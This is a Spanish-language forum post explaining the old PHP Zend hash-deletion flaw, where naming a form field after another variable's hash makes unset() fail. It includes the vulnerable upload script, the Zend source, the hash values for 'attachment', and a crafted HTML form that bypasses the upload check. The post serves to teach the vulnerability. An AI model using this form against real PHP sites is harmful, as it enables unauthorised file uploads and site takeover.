Zend hash del_key or index vulnerability! By MurdeR

Iniciado por ANTRAX, Abril 09, 2012, 09:13:44 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Les dejo una breve explicación para los curiosos y un enlace al paper completo en ingles para quien quiera profundizar, me gustaría escribir mas sobre esto pero no tengo tiempo y no creo que le vaya a interesar a muchas personas aqui-.-

---------------------------------------
Zend_has_del_key_or_index vulerability
---------------------------------------
Que es y como funciona -  by MurdeR
---------------------------------------
www.diosdelared.com
---------------------------------------

Que es Zend??

Digamos que el Zend Engine es el encargado de mantener "ordenados" todo lo que php almacena, los handlers de las variables que se recojen con post por ejemplo, se guardan en las hashtables de Zend y php trabaja con esas variables directamente en esas tablas.

En el enlace a pie de pagina pueden ver unas tablitas muy curiosas que describen como seria una hashtable y un bucket... no pretendo explicar todo detalladamente pq no soy quien para hacerlo...

La cosa es que cuando se recoje una variable se le asigna un hash que hace de identificador. Esto significa que por ejemplo una variable que se recoje con POST ($_POST['var']) será almacenada en una especie de tabla con un hash resultante de un ifentificador (el nombre) numerico o bien alfanumerico que será la referencia que se tomará a la hora de borrarla.

Y para que quiero saber todo eso?

Para borrar una variable en php usamos unset($var); como ya sabran ¬¬ y es importante en cuanto a la seguridad pq muchos scripts basan su seguridad en unset. Ejemplos de la vida real serian codigos como el siguiente:

Código: php

<?php
include "../include/functions.inc.php";

   session_start();
#SI LA VARIABLE ATTACHMENT TIENE CONTENIDO Y EL USUARIO NO ESTA AUTORIZADO A SUBIR ARCHIVOS:
   if (isset($_FILES['attachment']) && !uploadsAllowed($_SESSION['user'])) {
      unset($_FILES['attachment']); #BORRAR LA VARIABLE
   }

   if (isset($_FILES['attachment'])) { #SI LA VARIABLE SIGUE EXISTIENDO...
      # PUES LA UPLOADEAMOS
   }
?>

Como ven en el codigo, toda la seguridad de ese script esta basada en un unset que en caso de fallar permitría subir archivos a cualquiera, y es aqui donde entra en juego esta vuln de php...

Tienen que saber que todas las "variables" que se almacenan en las zend hastables tienen una especie de identificador numerico o bien alfanumerico que se "encripta" y que se guarda el hash resultante en un campo de la tabla.

Muy bien, y la vuln?

Analizando el codigo de zend_hash.c: nos topamos con una funcion llamada zend_hash_del_key_or_index:

Código: php
int zend_hash_del_key_or_index(HashTable *ht, char *arKey, uint nKeyLength, ulong h, int flag)
{
uint nIndex;
Bucket *p;

IS_CONSISTENT(ht);

if (flag == HASH_DEL_KEY) {
h = zend_inline_hash_func(arKey, nKeyLength);
}
nIndex = h & ht->nTableMask;

p = ht->arBuckets[nIndex];
while (p != NULL) {
if ((p->h == h) && ((p->nKeyLength == 0) || /* Numeric index */
((p->nKeyLength == nKeyLength)
                         && (!memcmp(p->arKey, arKey, nKeyLength))))) {

                        /* CODE TO DELETE THIS ELEMENT */

ht->nNumOfElements--;
return SUCCESS;
}
p = p->pNext;
}
return FAILURE;


Esta funcion es la a encargada de "borrar" esas "variables" (*) y tiene un condicional defectuoso, lo que hace es buscar dentro el hashvalue (que sale de "encriptar" el identificador) y comprobar que coincida con el que se pretende borrar, cuando esto es así lo borra.
(*) Atrozmente dicho xD, asi lo entienden verdad?

El error esta en el condicional, lo que hace es buscar una coincidencia en el hash o en el nombre indistintamente y cuando encuentra una coincidencia lo borra. El tema es que si creamos una variable con un nombre igual al hash de la que queremos que no se borre.... se borrará la variable que hemos creado y no la que se pretendia borrar.

Por ejemplo para ownear el codigo anterior basta con hacer un uploader un poco trucadito :P

Primero sacamos el hashvalue de la variable attachment: (para php4 y 5 seria distinto)

PHP 4     472504636
PHP 5    1425328718

Y luego simplemente creamos una variable para engañar al zend :P

Código: php

<html><form method="post" action="vuln.php" encode="multipart/form-data">
   <input type="file" name="attachment">
   <input type="file" name="472504636">
   <input type="file" name="1425328718">
   <input type="submit" name="submit">
</form>


Y ese hash de donde sale?

Para los que se preguntan de donde carajo sale el hash y como pito lo calculo, sale del mismo Zend, a continuación les dejo los codigos para php4 y 5

PHP4:
Código: php
static inline ulong zend_inline_hash_func(char *arKey, uint nKeyLength)
{
        ulong h = 5381;
        char *arEnd = arKey + nKeyLength;

        while (arKey < arEnd) {
                h += (h << 5);
                h += (ulong) *arKey++;
        }
        return h;
}



PHP5:
Código: php
static inline ulong zend_inline_hash_func(char *arKey, uint nKeyLength)
{
        ulong h = 5381;
        char *arEnd = arKey + nKeyLength;

        while (arKey < arEnd) {
                h += (h << 5);
                h ^= (ulong) *arKey++;
        }
        return h;
}



Ya termino...

Como verán es una vulnerabilidad de nivel medio / alto, he intentado humanizarlo y posiblemente en el camino me he pasado :P

Si creen que el texto es demasiado poco preciso y para los que quieran información mas ampliada, les ruego que se lean el siguiente enlace:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si alguien cree que he cometido un error en la explicación, me encataría que me corrijan.